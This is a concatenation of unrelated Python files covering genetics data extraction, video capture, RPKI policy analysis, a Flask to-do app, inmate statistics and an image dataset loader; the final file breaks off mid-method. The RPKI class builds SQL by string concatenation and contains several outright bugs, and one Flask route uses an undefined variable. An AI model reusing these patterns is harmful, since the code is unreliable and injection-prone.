##############################################################################
#
# Copyright (c) 2005 Zope Corporation and Contributors. All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
from zope import interface
import zope.interface.interfaces

def checkConstraint(super, child=None, childDeclaration=None):
    if childDeclaration is None:
        if child is None:
            raise TypeError(
                "Must provide at least one of childDeclaration or child")
        childDeclaration = interface.providedBy(child)
    elif not zope.interface.interfaces.IDeclaration.providedBy(
        childDeclaration):
        childDeclaration = interface.Declaration(childDeclaration)
    __setitem__ = interface.providedBy(super).get('__setitem__')
    if __setitem__ is not None:
        precondition = __setitem__.queryTaggedValue('precondition')
        if precondition is not None:
            if child is not None:
                try:
                    precondition(super, child)
                except interface.Invalid:
                    return False
            try:
                precondition = precondition.declarationConstraint
            except AttributeError:
                pass
            else:
                try:
                    precondition(super, childDeclaration)
                except zope.interface.Invalid:
                    return False

    # check the constraint on childDeclaration.super
    superField = childDeclaration.get('super')
    if superField is not None:
        try:
            validate = superField.validate
        except AttributeError:
            pass
        else:
            try:
                validate(super)
            except zope.interface.Invalid:
                return False

    return True


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Ed Mountjoy
#
# Efficiently extract phenotype data from UKBB files
#

import sys
import argparse
import pandas as pd

def main():

    # Args
    args = parse_arguments()

    print('Load list of required variables')
    reqvars = load_file_to_list(args.req, 0, args.sep)

    print('Check required variales are in data files')
    check_variables_available(reqvars, args.indata, args.sep)

    print('Extract required variables from each dataset separately')
    reqdata = []
    for infile in args.indata:
        # Find names of columns to extract
        reqcols = find_col_names(reqvars, infile, args.sep)
        # Load data using pandas
        df = pd.read_csv(infile, sep=args.sep, index_col=0, usecols=reqcols,
                         header=0, dtype=str)
        reqdata.append(df)

    print('Concatenate into a single data frame')
    outdf = pd.concat(reqdata, axis=1)
    # Order columns based on input list
    colorder = sorted(list(outdf.columns),
                      key=lambda col: reqvars.index(col.split(".")[1]))
    outdf = outdf.loc[:, colorder]

    print('Link projectID to geneticID')
    outdf.insert(0, "projectID", outdf.index)
    if args.link:
        # Load linker IDs to dictionary
        mapdf = pd.read_csv(args.link, sep=",", header=0)
        mapdict = dict(zip(mapdf.iloc[:, 0], mapdf.iloc[:, 1]))
        # Make genetic ID list
        genID = [mapdict.get(projID, "NA") for projID in outdf["projectID"]]
        # Add genetic IDs
        outdf.insert(1, "geneticID", genID)

    # Write output
    outdf.to_csv(args.out, sep=args.sep, na_rep="NA", index=False)

    return 0

def find_col_names(reqvars, indata, sep="\t"):
    """ Returns list of column names that need extracting.
    """
    # Covert req to set
    reqset = set(reqvars)
    # Load header
    header = load_header(indata, sep)
    # Get list of required colnames
    reqcols = [header[0]]
    for col in header[1:]:
        if col.split(".")[1] in reqset:
            reqcols.append(col)
    return reqcols

def check_variables_available(reqvars, indata, sep="\t", quit=True):
    """ Checks that all required variables are available in data.
        If quit == True, then quit if any variables are missing.
    """
    # Load available variables from data sets
    availvars = set([])
    for infile in indata:
        header = load_header(infile, sep)
        for col in header[1:]:
            var = col.split(".")[1]
            availvars.add(var)
    # Check required vars are availabe
    notpresent = []
    for reqvar in reqvars:
        if not reqvar in availvars:
            notpresent.append(reqvar)
    # Quit if any variables not present
    if len(notpresent) > 0:
        print("Error: Variables not present in datasets:")
        for var in notpresent:
            print(" {0}".format(var))
        if quit:
            sys.exit("Exiting!")

    return 0

def load_header(infile, sep="\t"):
    """ Loads header from file
    """
    with open(infile, "r") as in_h:
        header = in_h.readline().rstrip().split(sep)
        return header

def load_file_to_list(infile, col=0, sep="\t"):
    """ Loads a file to a list
    """
    l = []
    with open(infile, "r") as in_h:
        for line in in_h:
            l.append(line.rstrip().split(sep)[col])
    return l

def parse_arguments():
    """ Parses command line arguments.
    """
    # Create top level parser.
    parser = argparse.ArgumentParser(description="Extract data from UKBB.")

    # Add options
    parser.add_argument('--indata', metavar="<file>",
        help=('Input data files'),
        required=True,
        nargs="+",
        type=str)
    parser.add_argument('--req', metavar="<file>",
        help=('File containing list of required variables'),
        required=True,
        type=str)
    parser.add_argument('--out', metavar="<file>",
        help=('Output file name including extension'),
        required=True,
        type=str)
    parser.add_argument('--link', metavar="<file>",
        help=('Link file for project ID -> genetic ID conversion'),
        required=False,
        type=str)
    parser.add_argument('--sep', metavar="<str>",
        help=('Column separator (default: tab)'),
        default='\t',
        type=str)

    # Parse the arguments
    args = parser.parse_args()

    # Parse the arguments
    return args

if __name__ == '__main__':

    main()


import numpy as np
import pandas
import itertools
from scipy.stats import multivariate_normal, norm

def sumlogs(x,y):
  combine = np.stack((x,y), axis=1)
  high = np.amax(combine, axis=1)
  high = high.astype(dtype=np.float128)
  low = np.amin(combine, axis=1)
  low = low.astype(dtype=np.float128)
  diff = np.subtract(high,low)
  total = low + np.log1p(np.exp(diff))
  return total

combo = pandas.read_csv("real_analysis.txt", sep ='\t')
combo['chrm'] = 1
loc = combo[combo.columns[combo.columns.to_series().str.contains("chr|rsid|z.")]]
del loc["z.HIPOD1"]
del loc["z.HIPOD2"]
del loc["z.HIPOD3"]
del loc["z.HIPOD4"]

loc = np.array(loc)
signif = combo.loc[(combo["pval.HIPOD1"] <= 5e-8) | (combo["pval.HIPOD2"] <= 5e-8) | (combo["pval.HIPOD3"] <= 5e-8) | (combo["pval.HIPOD4"] <= 5e-8)].index.values

zs = combo[combo.columns[combo.columns.to_series().str.contains('z.')]]
del zs["z.HIPOD1"]
del zs["z.HIPOD2"]
del zs["z.HIPOD3"]
del zs["z.HIPOD4"]

zs = np.array(zs)

k = 4
include = [list(i) for i in list(itertools.product([1.0, 0.0], repeat=k))]

alphaData = np.delete(loc,[0,5], axis = 1)
alphaData = alphaData[signif,:]
print(alphaData.shape)
count = 7025734

sigmaG = np.array([[ 0.06248276,0.01365356,-0.01424399,0.00799307],
    [ 0.01365356,0.03207242,-0.0075916,0.02182045],
    [-0.01424399,-0.0075916,0.12072998,-0.00964204],
    [ 0.00799307,0.02182045,-0.00964204,0.03377293]])

sigmaE = np.array( [[ 1.00000000e+00,2.21634186e-01,-6.59629045e-02,1.45811322e-01],
    [ 2.21634186e-01,1.00000000e+00,-9.71533404e-04,6.77997010e-01],
    [-6.59629045e-02,-9.71533404e-04,1.00000000e+00,-4.56618686e-02],
    [ 1.45811322e-01,6.77997010e-01,-4.56618686e-02,1.00000000e+00]])

maximum = -np.inf
alpha = -1

for x in range(int(count),100,-25):
  if x == 0:
    x = 1
  x = float(x)
  mult = count/x
  covar = sigmaE + mult*sigmaG
  pdf = multivariate_normal.logpdf(alphaData,np.array([0.0,0.0,0.0,0.0]), covar)
  total = np.sum(pdf)
  if total > maximum:
    maximum = total
    alpha = x

print(alpha)
sigmaG = (count/alpha)*sigmaG
mat = sigmaE + sigmaG
value = multivariate_normal.logpdf(zs, np.array([0.0,0.0,0.0,0.0]), mat)
all_configs = np.copy(value)
mvalues = [np.copy(value) for i in range(k)]
for z in range(1,len(include)):
  alt = np.copy(mat)
  loc = include[z]
  for i in range(0,k):
    for j in range(0,i+1):
      if loc[i] == 0 or loc[j] == 0:
        alt[i,j] = sigmaE[i,j]
        alt[j,i] = sigmaE[j,i]
  value = multivariate_normal.logpdf(zs, np.array([0.0,0.0,0.0,0.0]), alt)
  all_configs = sumlogs(all_configs, value)
  for m in range(0,k):
    if loc[m] == 1.0:
      mvalues[m] = sumlogs(mvalues[m],value)
mvalues = np.exp(np.subtract(mvalues,all_configs))

for i in range(k):
  x = np.zeros(int(count))
  x = mvalues[i]
  combo['HIPO_Mvalue_'+str(i)] = x

combo.to_csv("real_mvalue.txt", sep='\t', index=False)


import time
import msgpack
import cv2
import sys,os,argparse
import scipy.ndimage
import datetime
sys.path.append('../..')
from farmi import Publisher
from shared import create_zmq_server, MessageQueue
zmq_socket, zmq_server_addr = create_zmq_server()
import yaml

parser = argparse.ArgumentParser(description='Video recording script')
parser.add_argument('--setting_file','-s',type=str,help='settings file use for the experiment',required=True)
parser.add_argument('--camera_id','-c',type=int,help='camera identifier',required=True)

args = parser.parse_args()

settings = yaml.safe_load(open(args.setting_file, 'r').read())

mission_name = settings['mission']['file'].split(os.sep)[-1].split('.')[0]
session_name = '{}.{}.{}'.format(mission_name, settings['speaker']['id'],settings['condition'])

log_path = os.path.join(settings['logging']['log_path'], session_name)

if not os.path.isdir(log_path):
    os.makedirs(log_path)

pub = Publisher('video-sensor',local_save=log_path,directory_service_address=f"tcp://{settings['FARMI_DIRECTORY_SERVICE_IP']}:5555")

log_path = os.path.join(settings['logging']['log_path'], session_name)

if not os.path.isdir(log_path):
    os.makedirs(log_path)

fourcc = cv2.VideoWriter_fourcc(*'MP4V')

camera = cv2.VideoCapture(args.camera_id)
width = camera.get(cv2.CAP_PROP_FRAME_WIDTH)   # float
height = camera.get(cv2.CAP_PROP_FRAME_HEIGHT) # float
fps = camera.get(cv2.CAP_PROP_FPS)

if width != 640.0:
    width = 640.0
    camera.set(cv2.CAP_PROP_FRAME_WIDTH,width)

if height != 480.0:
    height = 480.0
    camera.set(cv2.CAP_PROP_FRAME_HEIGHT,height)

if fps != 30.0:
    fps = 30.0
    camera.set(cv2.CAP_PROP_FPS,fps)

session_name = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") + '_' + str(args.camera_id)

non_sync_video_filename = os.path.join(log_path,'{}.mp4'.format(session_name))

out = cv2.VideoWriter(non_sync_video_filename, fourcc, 30.0, (int(width), int(height)))

pub.send(({'address': zmq_server_addr,
        'file_type': 'cv-video',
        'img_size': {
            'width': width / 2,
            'height': height / 2,
            'channels': 3,
            'fps': fps,
        },
        'filename':non_sync_video_filename
    },'video.{}'.format(settings['speaker']['id'])))
print('[*] Serving at {}. To exit press CTRL+C.'.format(zmq_server_addr))
try:
    while True:
        _, frame = camera.read()
        out.write(frame)
        zmq_socket.send(msgpack.packb((scipy.ndimage.zoom(frame, (0.5, 0.5, 1), order=0).flatten().tobytes(), time.time())))

except KeyboardInterrupt:
    zmq_socket.send(b'CLOSE')
    zmq_socket.close()


#! /usr/bin/env python3

import os
import sys
import copy
import json
import time
import math
import random
import pathos
from urllib.parse import quote

# Pandas
import numpy as np
import pandas as pd

# Multiprocessing
import pathos.multiprocessing as mp
import logging

from .Database import *
from .Utilities import *

# COMPLETED
# # TODO:

class What_If_Analysis():
    def __init__(self,config,debug=False):
        logging.basicConfig(filename='What_If_Analysis.log',)
        self.config = config
        column_list = []
        column_prefix = self.config['COLUMNS']['prefix']
        column_origin = self.config['COLUMNS']['origin']
        self.debug = debug

    def sql_operation(self,sql,connection=None):
        internal_cursor = True
        if connection is None:
            internal_cursor = False
            connection = init_db(self.config['DATABASE']['path_confidential'],use_dict=False)

        cursor = connection.cursor()
        cursor.execute(sql)
        connection.commit()

        if internal_cursor:
            connection.close()
        return

    def drop_prefix_origin(self,table):
        sql = "DROP TABLE IF EXISTS " + table + ";"
        self.sql_operation(sql)
        return

    def init_what_if_analysis_db(self):
        table = self.config['TABLES']['what_if_analysis']
        sql = '''DROP TABLE IF EXISTS ''' + table + ''';
                CREATE TABLE IF NOT EXISTS ''' + table + '''(
                po_id serial PRIMARY KEY,
                asn bigint,
                policy_id smallint,
                hijack integer,
                n_true_positive integer,
                n_false_positive integer,
                n_true_negative integer,
                n_false_negative integer
                );'''
        self.sql_operation(sql)
        return

    def fill_db_new(self,asn,n_hijack,policy_id):
        connection = init_db(self.config['DATABASE']['path_confidential'],use_dict=True)
        cursor = connection.cursor()
        extrapolation_results = self.config['TABLES']['extrapolation_results']

        sql = '''
            SELECT count(1) FROM (SELECT * FROM ''' + extrapolation_results + '''
            WHERE asn=''' + str(asn) + ''' ) as a INNER JOIN
            hijack=true;'''
        cursor.execute(sql)
        hijack = cursor.fetchall()[0]['count']

    def fill_db(self,table,asn,policy_id,query=False):
        # if not query:
            # table = config['TABLE']['what_if_analysis']

        connection = init_db(self.config['DATABASE']['path_confidential'],use_dict=True)
        cursor = connection.cursor()

        # Get hijacks
        sql = "SELECT count(1) FROM " + table + ''' WHERE
            hijack=true;'''
        cursor.execute(sql)
        hijack = cursor.fetchall()[0]['count']

        # Get True Positive
        sql = "SELECT count(1) FROM " + table + ''' WHERE
            hijack=true AND decision_''' + str(policy_id) + "<2;"
        cursor.execute(sql)
        true_positive = cursor.fetchall()[0]['count']

        # Get True Negative
        sql = "SELECT count(1) FROM " + table + ''' WHERE
            hijack=false AND decision_''' + str(policy_id) + ">1;"
        cursor.execute(sql)
        true_negative = cursor.fetchall()[0]['count']

        # Get False Positive
        sql = "SELECT count(1) FROM " + table + ''' WHERE
            hijack=false AND decision_''' + str(policy_id) + "<2;"
        cursor.execute(sql)
        false_positive = cursor.fetchall()[0]['count']

        # Get True Positive
        sql = "SELECT count(1) FROM " + table + ''' WHERE
            hijack=true AND decision_''' + str(policy_id) + ">1;"
        cursor.execute(sql)
        false_negative = cursor.fetchall()[0]['count']
        sql = '''INSERT INTO ''' + self.config['TABLES']['what_if_analysis'] + '''
        (asn,policy_id,hijack,
        n_true_positive,n_true_negative,
        n_false_positive,n_false_negative) VALUES
         (%(asn)s, %(policy_id)s, %(hijack)s,
        %(n_true_positive)s,%(n_true_negative)s,
        %(n_false_positive)s,%(n_false_negative)s)'''
        file = {'asn':str(asn),'policy_id':str(policy_id),
                'hijack':hijack,
                'n_true_positive':true_positive,
                'n_true_negative':true_negative,
                'n_false_positive':false_positive,
                'n_false_negative':false_negative}
        cursor.execute(sql,file)
        connection.commit()
        connection.close()
        return

    def what_if_report_generator(self,asn):
        decisions = self.get_column_decisions()
        results = sel.get_analysis_for_all_policies(asn,decisions)
        pass

    def get_column_decisions(self):
        decisions = []
        for i in len(self.config['POLICIES']):
            decisions.append(self.config['COLUMNS']['decision_'+ str(i)])
        return decisions

    def get_analysis_for_all_policies(self,asn,decisions):
        params_list = []

        for i in range(len(decisions)):
            # True Negative
            # Hijack is False and Decision is 0 or 1
            params_list.append([asn,False,False,decisions[i]])
            # True Positive
            # Hijack is True and Decision is 2 or 3
            params_list.append([asn,True,True,decisions[i]])
            # False Positive
            # Hijack is False and Decision is 2 or 3
            params_list.append([asn,False,True,decisions[i]])
            # False Negative
            # Hijack is True and Decision is 0 or 1
            params_list.append([asn,True,False,decisions[i]])

        pool = pathos.multiprocessing.ProcessingPool().imap
        results = pool(
            self.get_analysis_for_each_policy,
            params_list)
        results_list = []
        count = 0
        decision_count = -1
        for element in results:
            if count % len(decisions) == 0:
                result_list[decision_count] = []
            result_list[decision_count].append(element)
            count += 1
        return results_list

    def get_analysis_for_each_policy(self,params):
        # Parameter 1: asn
        asn = params[0]
        # Parameter 2: is hijacked
        hijacked = params[1]
        # Parameter 3: policy decision
        # If enforce or deprefer, decision should be 0 or 1
        if params[2]:
            decision = "<2"
        else:
            decision = ">1"
        # Parameter 4: column name of decision
        column_decision = params[3]

        # Initiate Database
        connection = init_db(self.config['DATABASE']['path_confidential'],use_dict=True)
        cursor = connection.cursor()

        table_prefix_origin = self.config['TABLES']['prefix_origin']
        column_hijack = self.config['COLUMNS']['origin']
        column_asn = self.config['COLUMNS']['asn']
        sql = "SELECT count(1) FROM " + table_prefix_origin + '''
         WHERE ''' + column_asn + "=" + asn + '''
         AND ''' + column_hijack + "=" + str(hijacked) + '''
         AND ''' + column_decision + decision + ";"

        size_result = cursor.fetchall()[0]['count']
        return size_result

    def get_size_of_prefix_origin(self,asn):
        # Initiate Database
        connection = init_db(self.config['DATABASE']['path_confidential'],use_dict=True)
        cursor = connection.cursor()

        sql = "SELECT count(1) FROM " + prefix_origin + '''
         WHERE ''' + column_asn + "=" + asn + ";"
        cursor.execute(sql)
        size_prefix_origin = cursor.fetchall()[0]['count']

        return size_prefix_origin

if __name__ == "__main__":
    from main import lib_rpki_forecast_modules
    config_source = lib_rpki_forecast_modules()
    config = config_source.get_config()
    # print(config['Policy_1']['Length_1'])
    # test = copy.deepcopy(config)
    # test['Policy_1']['Length_1'] = '10s'
    # print(config['Policy_1']['length_1'])
    Instance = What_If_Analysis(config,debug=False)
    # # ASes = Instance.get_extrapolator_data()
    # # New_ASes = Instance.what_if_simulation()
    # df = random_prefix_origin_generator(0,has_asn=True,fix_asn=21267,special_one=True)
    # print(df)
    # # print(df.columns['asn'])
    #
    # # print(df)
    # # df = Instance.run_policy_1(df)
    #
    #
    #
    # start = time.time()
    #
    # df = Instance.run_policy_2(df,df['asn'][0],mp_prefix_origin=True,mp_exist_alternative=False,exists_alternative_method=False,neighbor_threshold=1000000)
    # print(round(time.time() - start))
    #
    # # df = Instance.run_policy_3(df)def fname(arg):
    # # print(df[['invalid_asn','invalid_length','decision_1','decision_2','decision_3']])
    # print(df)
    #
    #
    # #
    # # start = time.time()
    # # df = Instance.run_policy_2(df,df['asn'][0],mp_prefix_origin=True,mp_exist_alternative=False)
    # # print(round(time.time() - start))
    # #
    # # # df = Instance.run_policy_3(df)def fname(arg):
    # # # print(df[['invalid_asn','invalid_length','decision_1','decision_2','decision_3']])
    # # print(df)
    # # # print(df[df[decision_1]==2][df.columns[4:]])
    # #
    # #
    # #

    asn_list = pd.read_csv("saved_asn_list.csv", index_col=0)
    for i in range(asn_list.shape[0]):
        start_time=time.time()
        df = Instance.get_extrapolator_results_by_asn(asn_list['asn'][i])
        print("Current:",i+1,"/",asn_list.shape[0],"Size of prefix-origin:", df.shape[0], "neighbors:", Instance.get_neighbors_pool(df['asn'][0]))
        if df.shape[0] < 6000:
            df = Instance.run_policy_2(df,df['asn'][0],neighbor_threshold=0,mp_prefix_origin=True,mp_exist_alternative=False,exists_alternative_method=0)
            print(time.time()-start_time)

    #
    #
    #
    #
    #
    # # df = Instance.get_extrapolator_results(0,500)
    # total_start_time = time.time()
    # # asn_list = Instance.get_asn_list()
    # # asn_list.to_csv("saved_asn_list.csv")
    # asn_list = pd.read_csv("saved_asn_list.csv", index_col=0)
    #
    # for i in range(asn_list.shape[0]):
    #     print("Running", i+1, "/", asn_list.shape[0])
    #     # print("Test single-core:")
    #     start_time = time.time()
    #     df = Instance.get_extrapolator_results_by_asn(asn_list['asn'][i])
    #     if df.shape[0] < 10000:
    #         df = Instance.run_policy_2(df,mp_prefix_origin=True,mode_search_alternative=0)
    #         print("Elapsed time:", round(time.time()-start_time))
    # print("Total Elapsed Time:", time.time()-total_start_time)
    #
    #
    #
    # # #
    # # df2 = Instance.get_extrapolator_results(0,50)
    # # print("Test multi-core:")
    # # start_time = time.time()
    # # df2 = Instance.run_policy_2(df2,mp_prefix_origin=False,mode_search_alternative=0)
    # # print("Elapsed time:", round(time.time()-start_time))
    #
    #
    # # Instance.get_asn_list()


# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import os
from azure.communication.administration._shared.utils import parse_connection_str
from _shared.testcase import CommunicationTestCase

class PhoneNumberCommunicationTestCase(CommunicationTestCase):
    def setUp(self):
        super(PhoneNumberCommunicationTestCase, self).setUp()

        if self.is_playback():
            self.connection_str = "endpoint=https://sanitized/;accesskey=fake==="
        else:
            self.connection_str = os.getenv('AZURE_COMMUNICATION_SERVICE_CONNECTION_STRING')
            endpoint, _ = parse_connection_str(self.connection_str)
            self._resource_name = endpoint.split(".")[0]
            self.scrubber.register_name_pair(self._resource_name, "sanitized")


import logging
from datetime import datetime

class Logger:
    formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
    def setup_logger(name="default", file_path="default.log", level=logging.INFO):
        """To setup many loggers"""
        if not logging.getLogger(name).hasHandlers():
            logger = logging.getLogger(name)
            logger.setLevel(level)

            fileHandler = logging.FileHandler(file_path, encoding="utf-8")
            fileHandler.setLevel(level)
            fileHandler.setFormatter(Logger.formatter)

            logger.addHandler(fileHandler)
            return logger
        else:
            return logging.getLogger(name)


import os

import keras as K
import tensorflow as tf
import numpy as np

from data import DataManager

def dist_loss(y_, y):
  return tf.sqrt(tf.reduce_sum(tf.square((y_ - y) * tf.convert_to_tensor([218.4, 163.8]))))

class Model:
  def __init__(self, save_file_name='model_save.h5', data_file_name='partial_21_2_20118.csv',
               test_file_name='partial_valid_5_3_20118.csv', is_training=False, epoch=10,
               log_dir='logs', is_save=False, learning_rate=1e-4, batch_size=None, timestep=5):
    K.backend.set_learning_phase(int(is_training))
    self.epoch = epoch
    self.save_file_name = save_file_name
    self.is_training = is_training
    self.log_dir = log_dir
    self.is_save = is_save
    self.learning_rate = learning_rate
    self.batch_size = batch_size
    self.timestep = timestep
    self.data_manager = DataManager(csv_file_name=data_file_name, half_batch_size=batch_size, return_sequences=False)
    self.test_data_manager = DataManager(csv_file_name=test_file_name, half_batch_size=5, shuffle=False, vector_len=self.data_manager.get_vec_len(), return_sequences=False)
    if batch_size is None:
      self.batch_size = len(self.data_manager.distinct_x_y) - self.timestep
    else:
      self.batch_size = batch_size
    if self.is_training:
      self.model = self._build_model()
    else:
      self.model = self._load_model()
  def _build_model(self):
    model = K.models.Sequential()
    # model.add(K.layers.Dense(256, activation='tanh', input_shape=[self.timestep, self.data_manager.get_vec_len()]))
    # model.add(K.layers.Dense(256, activation='tanh'))
    # model.add(K.layers.Dropout(0.5))
    # model.add(K.layers.GRU(256))
    # model.add(K.layers.Dropout(0.3))
    # model.add(K.layers.Dense(128, activation='tanh'))
    # model.add(K.layers.Dense(2, activation='sigmoid'))

    model.add(K.layers.Dense(256, input_shape=[self.timestep, self.data_manager.get_vec_len()]))
    model.add(K.layers.LeakyReLU())
    model.add(K.layers.Dense(256))
    model.add(K.layers.LeakyReLU())
    # model.add(K.layers.Dropout(0.5))
    model.add(K.layers.GRU(256))
    # model.add(K.layers.Dropout(0.3))
    model.add(K.layers.Dense(128))
    model.add(K.layers.LeakyReLU())
    model.add(K.layers.Dense(2, activation='linear'))

    model.compile(optimizer=K.optimizers.RMSprop(lr=self.learning_rate), loss=dist_loss)
    return model
  def _load_model(self):
    model = K.models.load_model(self.save_file_name, custom_objects={"dist_loss": dist_loss})
    return model
  def train(self):
    K.backend.set_learning_phase(1)
    self.model = self._build_model()
    try:
      callback_list = []
      if self.is_save:
        checkpointer = K.callbacks.ModelCheckpoint(filepath=self.save_file_name,
                                                   verbose=1, save_best_only=True)
        callback_list.append(checkpointer)
      tensorboard_callback = K.callbacks.TensorBoard(log_dir=self.log_dir)
      callback_list.append(tensorboard_callback)

      # self.model.fit(x, y, 10, self.epoch, validation_split=0.1, callbacks=[tensorboard_callback])
      self.model.fit_generator(self.data_manager(), steps_per_epoch=len(self.data_manager),
                               validation_data=self.test_data_manager(),
                               validation_steps=len(self.test_data_manager),
                               epochs=self.epoch, callbacks=callback_list)
    except KeyboardInterrupt:
      pass

    data, label = next(self.test_data_manager())
    prediction = self.model.predict(data[:1], 1)
    print('Expected: \n', label[:1])
    print('\nPredicted: \n', prediction)
    # dist = np.reshape(np.sqrt(np.sum(np.square((label[:1] - prediction) * [218.4, 163.8]), axis=2)), (1, 5, 1))
    dist = np.sqrt(np.sum(np.square((label[:1] - prediction) * [218.4, 163.8]), axis=1))
    print('\nDistance: \n', dist)
  def test(self):
    self.model = self._load_model()
    # data, label = self.test_data_manager.get_data()
    data, label = next(self.test_data_manager())
    prediction = self.model.predict(data, len(self.test_data_manager.distinct_x_y))
    loss = self.model.evaluate(data, label)
    print('Expected: \n', label)
    print('\nPredicted: \n', prediction)
    # dist = np.reshape(np.sqrt(np.sum(np.square((label[:1] - prediction) * [218.4, 163.8]), axis=2)), (1, 5, 1))
    # dist = np.sqrt(np.sum(np.square((label - prediction) * [218.4, 163.8]), axis=1))
    print('\nDistance: \n', loss)


from flask import Flask, request
from flask import render_template
from flask import redirect
from flask_sqlalchemy import SQLAlchemy
from flask import jsonify

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
db = SQLAlchemy(app)

class Task(db.Model):
    id      = db.Column(db.Integer, primary_key=True)
    content = db.Column(db.Text)
    done    = db.Column(db.Boolean, default=False)

    def __init__(self, content):
        self.content = content
        self.done    = False

    def __repr__(self):
        return '<Content %s>' % self.content

db.create_all()

@app.route('/')
def tasks_list():
    tasks = Task.query.all()
    return render_template('index.html', tasks=tasks)

#storing jsonjquery
@app.route('/json')
def background_process():
    task2 = request.args.get('tasK')
    task=Task(task2)
    db.session.add(task)
    db.session.commit()
    return redirect('/')

@app.route('/delete/<task_id>')
def delete_task(task_id):
    task = Task.query.get(task_id)
    if not task:
        return redirect('/')

    db.session.delete(task)
    db.session.commit()
    return redirect('/')

@app.route('/edit/<int:task_id>')
def edit_task_id(task_id):
    details = Task.query.get(task_id)
    tasks   = Task.query.all()
    return render_template('edit.html',details=details ,tasks=tasks)

@app.route('/json2')
def background_process2():
    id              = request.args.get('id')
    content         = request.args.get('tasK')
    details         = Task.query.get(id)
    details.content = content
    db.session.add(details)
    db.session.commit()
    return render_template('index.html',tasks=tasks)

if __name__ == '__main__':
    app.run()


import pymongo;
from pymongo import MongoClient;
import datetime;
import json;
import os;

# Open database connection
mongo_cli = pymongo.MongoClient('localhost', 27017);
db = mongo_cli.hcf;
db_roster = db.inmates;
db_charges = db.charges;

inmates = list(db_roster.find({}));
charges = list(db_charges.find({}));
stats = {};

# Gender ratio
male_count = 0.0;
female_count = 0.0;
inmate_count = 0.0;
for inmate in inmates:
    if inmate['attributes']['sex'] == "MALE":
        male_count += 1;
        inmate_count += 1;
    elif inmate['attributes']['sex'] == "FEMALE":
        female_count += 1;
        inmate_count += 1;
    # else ignore unknown

stats['gender'] = {
    'male': {
        'label': 'Male',
        'color': '#E53935',
        'ratio': round((male_count / inmate_count) * 100.0),
        'count': male_count
    },
    'female': {
        'label': 'Female',
        'color': '#5E35B1',
        'ratio': round((female_count / inmate_count) * 100.0),
        'count': female_count
    }
};

# Race ratio
white_count = 0.0;
black_count = 0.0;
native_count = 0.0;
hispanic_count = 0.0;
asian_count = 0.0;
for inmate in inmates:
    if inmate['attributes']['race'] == "WHITE":
        white_count += 1;
    elif inmate['attributes']['race'] == "BLACK":
        black_count += 1;
    elif inmate['attributes']['race'] == "AMERIND":
        native_count += 1;
    elif inmate['attributes']['race'] == "HISPANIC":
        hispanic_count += 1;
    elif inmate['attributes']['race'] == "ASIAN":
        asian_count += 1;

stats['race'] = {
    'white': {
        'label': 'White',
        'count': white_count
    },
    'black': {
        'label': 'Black',
        'count': black_count
    },
    'native': {
        'label': 'Native',
        'count': native_count
    },
    'hispanic': {
        'label': 'Hispanic',
        'count': hispanic_count
    },
    'asian': {
        'label': 'Asian',
        'count': asian_count
    }
};

# Get incarcerations past 30 days
today = datetime.datetime.now();
threshold = today - datetime.timedelta(days=30);
within_threshold = [];
for inmate in inmates:
    #print inmate;
    #print "\n"
    for incarceration in inmate['incarcerations']:
        # If incarceration is within 30 days from today
        if incarceration['lodge_date'] > threshold:
            diff = today - incarceration['lodge_date'];

            # what am I doing with my life
            within_threshold.append(int(str(diff).split(" ")[0]));

within_threshold.sort();

# Generate graph data
freq = [int(0)] * 30;
for incarceration in within_threshold:
    freq[incarceration] += 1;

labels = [str] * 30;
for i in range(0, 30):
    labels[i] = str(30 - i);

stats['past_thirty'] = {
    'x_axis': labels,
    'y_axis': freq
};

# TODO finish the rest

out = json.dumps(stats, separators=(',', ':'), sort_keys=True);
f = open('/home/nic/projects/testing/hcf/scripts' + '/out/stats.json', 'w');
f.write(out);


""" this module subclass the pytorch Dataset object, in order to produce a stream
 of data that will be fed to the shadow mask detector network,
 that takes as input  an image with shadow, and outputs a shadow mask

 The object streams pairs of image, that are preprocessed before to be fed to the network,

"""
from torch.utils.data import Dataset
import os,glob
from PIL import Image
import utils,torch
device = 'cuda' if torch.cuda.is_available() else 'cpu'

import numpy as np
import torch

try:
    from .preprocess_module import custom_transforms
except:
    from preprocess_module import custom_transforms

class ShadowRemovalDataSet(Dataset):
    def __init__(self,path_data,joint_transform=None,inpt_img_transform=None,out_img_transform=None,truncate=None):
        """
            takes as input a folder containing 2 subfolders (at least)
            one that contains the input image with shadow, with suffix "_A"
            and another one that contains shadow masks with suffix "_B"
        """
        self.path_data = path_data
        self.path_imgs_with_data = self.get_paths_images()

        if truncate is not None:
            if isinstance(truncate,int):
                self.path_imgs_with_data = self.path_imgs_with_data[:truncate]

        self.inpt_img_shadow_mask = self.get_pairs_inpt_img_shadow_mask()

        self.joint_transform = joint_transform
        self.inpt_img_transform = inpt_img_transform
        self.out_img_transform = out_img_transform

    def get_pairs_inpt_img_shadow_mask(self):
        """return a list , that outputs pair of inputs image, and shadow mask"""
        pairs = [(el,el.replace("_A","_B")) for el in self.path_imgs_with_data]
        return pairs
    def get_paths_images(self):
        """of all the images with shadow used as input to the network , before preprocessing"""
        basename = os.path.basename(self.path_data)
        path_img_with_shadows = os.path.join(self.path_data,basename+"_A")
        path_imgs_with_data = glob.glob(os.path.join(path_img_with_shadows,"*"))
        return path_imgs_with_data
    def __getitem__(self, index):
        """
            returns the input image (with shadow), and the shadow mask,whose paths are at  index
            "index" of the list sekf.inpt_img_shadow_mask
        """
        path_inpt,path_shdw_mask = self.inpt_img_shadow_mask[index]
        inpt_image = Image.open(path_inpt)#.convert("RGB")
        shadow_mask = Image.open(path_shdw_mask)

        if self.joint_transform is not None:
            inpt_image, shadow_mask = self.joint_transform(inpt_image, shadow_mask)
        if self.inpt_img_transform is not None:
